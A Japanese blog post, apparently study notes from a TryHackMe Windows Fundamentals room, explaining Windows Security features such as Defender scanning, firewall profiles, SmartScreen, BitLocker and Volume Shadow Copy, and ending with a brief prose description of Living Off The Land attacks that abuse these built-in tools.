<p><strong>Current threats（<strong>現在の脅威</strong>）</strong><br>PC上に現在存在する脅威を確認する機能。<br><br>主な項目<br>現在の脅威一覧：検出されたマルウェアがあればここに表示される。<br>スキャン結果：最後にスキャンした日時、スキャンの種類（クイック/フル/カスタム）、検出数、処理結果。<br>スキャンオプション：<br>　-クイックスキャン：感染しやすい場所だけ短時間でチェック。<br>　-フルスキャン：全ファイルやプログラムを調査。時間がかかる。<br>　-カスタムスキャン：ユーザーが指定したフォルダやドライブを確認。<br>Threat history（脅威の歴史）：<br>Last scan（最後のスキャン）<br>最後に実行したスキャン日時や結果が記録される。<br>Quarantined threats（隔離された脅威）<br>検出されたウイルスやマルウェアを「隔離領域」に移動して、PC上で実行されないようにしたもの。<br>ユーザーはここから削除したり、誤検知であれば「復元」することも可能。<br>Allowed threats（許可した脅威）<br>本来は脅威として検出されたが、ユーザーが「安全だ」と判断して実行を許可した項目。<br>注意：セキュリティ的にはリスクが高いため、100%安全だと確信がある場合のみ許可するべき。</p>



<p><strong>Virus &amp; threat protection settings（<strong>ウイルスと脅威の防止設定</strong>）</strong><br>マルウェア対策の細かい挙動を設定できる場所。</p>



<p>主な項目<br>Real-time protection（リアルタイム保護）：常に動作している監視。オフにすると危険。<br>Cloud-delivered protection（クラウド提供の保護）：最新の脅威情報をクラウドから取得し、より早く防御。<br>Automatic sample submission（自動サンプル送信）：怪しいファイルをMicrosoftに送って解析。<br>Controlled Folder Access（制御されたフォルダアクセス）：特定のフォルダ（例：ドキュメント、ピクチャ、デスクトップなど）を保護領域に指定する機能。<br>Exclusions（除外設定）：特定のフォルダやファイルをスキャン対象外にする（誤検知対策）。<br>Notifications（通知）：検出や問題があればユーザーに知らせる。<br><br>注意<br>リアルタイム保護やクラウド保護を切ると感染リスクが大幅に上がる。</p>



<p><strong>Virus &amp; threat protection updates（<strong>ウイルスと脅威からの保護の更新</strong>）</strong><br>セキュリティ定義ファイル（ウイルス定義データベース）を最新に保つ。<br><br>主な項目<br>Check for updates（更新確認）ボタンで手動更新可能。<br>通常は自動更新されるため、最新のウイルスにも対応できる。</p>



<p>ポイント<br>古い定義のままだと新種のウイルスを検知できないので、更新の有無は非常に重要。</p>



<p><strong>Ransomware protection（<strong>ランサムウェア対策</strong>）</strong><br>ランサムウェアによる「ファイル暗号化」からデータを守る。<br><br>主な項目<br>Controlled folder access（制御されたフォルダアクセス）<br>特定フォルダ（例：ドキュメント、ピクチャ）を守り、未知のアプリが勝手に変更できないようにする。この機能を使うにはリアルタイム保護を有効にしなければいけない。</p>



<h3 class="wp-block-heading">Firewall &amp; network protection（ファイアウォールとネットワーク保護）</h3>



<p>Windowsに標準搭載されているネットワーク保護機能。<br>ドメイン・プライベート・パブリックといったネットワークごとに通信ルールを制御し、<br>外部からの不正アクセスや不要なアプリの通信をブロックできる。</p>



<h4 class="wp-block-heading"><strong>主な機能</strong></h4>



<p><strong>プロファイル</strong><br><br>Domain network<br>ドメイン参加時に使う社内向けプロファイル。企業ポリシーで管理されることが多い。<br><br>Private network（active）<strong><br></strong>家庭/社内の信頼できるネットワーク。共有や発見を許可する設定が選べる。<br><br>Public network<br>公共Wi-Fi等の不特定多数が利用する環境。最も厳格（受信接続は原則ブロック）。</p>



<p><strong>追加オプション</strong></p>



<p>（Allow an app through firewallアプリをファイアウォール経由で許可する）<br>特定のアプリやサービスについて、ファイアウォールのブロックを解除し通信を許可する設定。<br>例えば、ゲームやリモートデスクトップ、開発用のWebサーバーなどを動かすときに必要。<br><br>Network and Internet troubleshooter（ネットワークとインターネットのトラブルシューティング）<br>ネットワーク接続の問題（Wi-Fiにつながらない、通信が不安定など）を自動診断・修復するツール。<br>ファイアウォール設定が原因で通信できない場合にも役立つ。<br><br>Firewall notification settings（ファイアウォール通知の設定）<br>新しいアプリが通信をしようとしたときに、通知を表示するかどうかを設定できる。<br>通常はオンにしておくのがおすすめ。安全でないアプリの通信を防ぐ手がかりになる。<br><br>Advanced settings（詳細設定）<br>Windows Defender Firewall with Advanced Security の画面を開く。<br>送信ルールや受信ルールを細かく設定可能。ポート番号・プロトコル・アプリ単位で制御できる。<br>企業ネットワークやサーバー管理で使われることが多い。<br><br>Restore firewalls to default（ファイアウォールを既定に戻す）<br>ファイアウォールの設定をすべてリセットして、初期状態に戻す。<br>設定を間違えて通信できなくなった場合などのトラブル解決に有効。</p>



<h3 class="wp-block-heading">App &amp; browser control（アプリとブラウザのコントロール）</h3>



<p>主に Microsoft Defender SmartScreen という仕組みを利用して、危険なWebサイトやアプリからPCを保護する。<br>信頼できないファイルや不審なWebコンテンツを検出し、ユーザーに警告を出す。</p>



<h4 class="wp-block-heading">主な機能</h4>



<p><strong>Check apps and files（アプリとファイルの確認）</strong><br>Windows Defender SmartScreen が、インターネットや外部から入ってくる未知または信頼されていないアプリ・ファイルをチェックして、危険なものの実行を防ぐ。<br><br>Block（ブロック）<br>不審なアプリやファイルを検出した場合、実行自体をブロックする。安全性が高い設定。<br>Warn（警告）<br>実行前に警告を表示。ユーザーが「続行」を選べば実行できる。利便性と安全性のバランス。<br>Off（無効）<br>チェックを行わない。セキュリティ的にリスクが高いため推奨されない。<br><br><strong>Exploit protection（<strong>エクスプロイト防止</strong>）<br></strong>Windows10以降に標準搭載されている、脆弱性を悪用した攻撃（エクスプロイト）からPCを守る仕組み。<br>メモリ破壊系の攻撃や不正コード実行など、一般的なエクスプロイト手法を困難にする。</p>



<h3 class="wp-block-heading">Device security（デバイスセキュリティ）</h3>



<p>ハードウェアレベルの保護機能（TPM、Secure Boot、仮想化ベースのセキュリティなど）の状態を表示。<br>この設定を変更することは稀。</p>



<h3 class="wp-block-heading"><strong>BitLocker</strong>（ディスク暗号化機能）</h3>



<p>正式名称：BitLocker Drive Encryption<br>目的：PCのハードディスクやSSD全体を暗号化して、不正アクセスからデータを保護する。<br>仕組み：AES（Advanced Encryption Standard）という強力な暗号化方式を使い、ディスク上のデータを「読み取り不可能な状態」にする。</p>



<h4 class="wp-block-heading">特徴</h4>



<p>PCを盗まれても安心<br>HDDやSSDを取り外して別のPCにつないでも、中身は暗号化されているため読み取れない。<br><br>OSごと暗号化<br>ディスク全体を暗号化するため、ファイル単位ではなく「PCそのもののセキュリティ」を高められる。<br><br>TPMチップ連携<br>Trusted Platform Module（TPM：信頼できるプラットフォームモジュール）<sup data-fn="cebeed89-14ea-4f4c-98a3-9a98975e7926" class="fn"><a href="#cebeed89-14ea-4f4c-98a3-9a98975e7926" id="cebeed89-14ea-4f4c-98a3-9a98975e7926-link">1</a></sup>と連携し、起動時にハードウェアの改ざんを検出できる。<br><br>回復キー<br>パスワードを忘れた場合やPCに大きな変更があった場合は、セットアップ時に生成される「回復キー」で復旧可能。</p>


<ol class="wp-block-footnotes"><li id="cebeed89-14ea-4f4c-98a3-9a98975e7926">パソコンに搭載されているセキュリティ専用チップのこと。暗号鍵や証明書などの重要情報を安全に保存するための領域を持つ。PCの金庫役。 <a href="#cebeed89-14ea-4f4c-98a3-9a98975e7926-link" aria-label="脚注参照1にジャンプ">↩︎</a></li></ol>


<h3 class="wp-block-heading">Volume Shadow Copy Service / VSS（ボリューム・シャドウ・コピー・サービス）</h3>



<p>ファイルやシステムを使用中（稼働中）の状態でも、一時的なスナップショット（シャドウコピー） を作成できる。<br>そのスナップショットを利用して、バックアップや復元を行うことが可能。<br>例えば、システムの「復元ポイント」や、バックアップソフトが動作中に使っている。</p>



<h4 class="wp-block-heading"><strong>主な役割</strong></h4>



<p>ファイルを開いたままでもバックアップ可能<br>→ 通常は編集中のファイルをコピーできないが、VSSがスナップショットを作ることで可能になる。<br><br>システム復元に利用<br>→ Windowsの「復元ポイント」もVSSによって管理されている。<br><br>アプリやサービスと連携<br>→ SQL Server や Exchange などのデータベースも VSS を利用して一貫性のあるバックアップを実現できる。</p>



<h4 class="wp-block-heading">セキュリティや注意点</h4>



<p>ランサムウェア攻撃では、復元できなくするためにこのVSSのスナップショットが削除されることが多い。<br>そのため、VSSは便利だが完全なバックアップ手段ではなく、外部媒体へのバックアップも重要。</p>



<h3 class="wp-block-heading">Living Off The Land / LotL（環境寄生型攻撃）</h3>



<p>攻撃者がOSや標準ツール（既に存在する正当なバイナリ/機能）を悪用してマルウェアを配布・持続化・横展開・情報窃取などを行う手法。<br>これまでに紹介したWindowsの標準機能も、LotL攻撃で悪用されることがある。</p>



<h4 class="wp-block-heading">具体例</h4>



<p>PowerShellを使ってDefenderの設定を無効化する。<br>netshコマンドを使ってFirewallルールを改変する。<br>VSSを削除してバックアップを無効化する。<br>BitLockerを悪用して強制暗号化し、利用者がデータにアクセスできなくする。<br>など</p>
]]></content:encoded>
					
					<wfw:commentRss>https://cybermemo.blog/tryhackme-windows-fundamentals-3/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
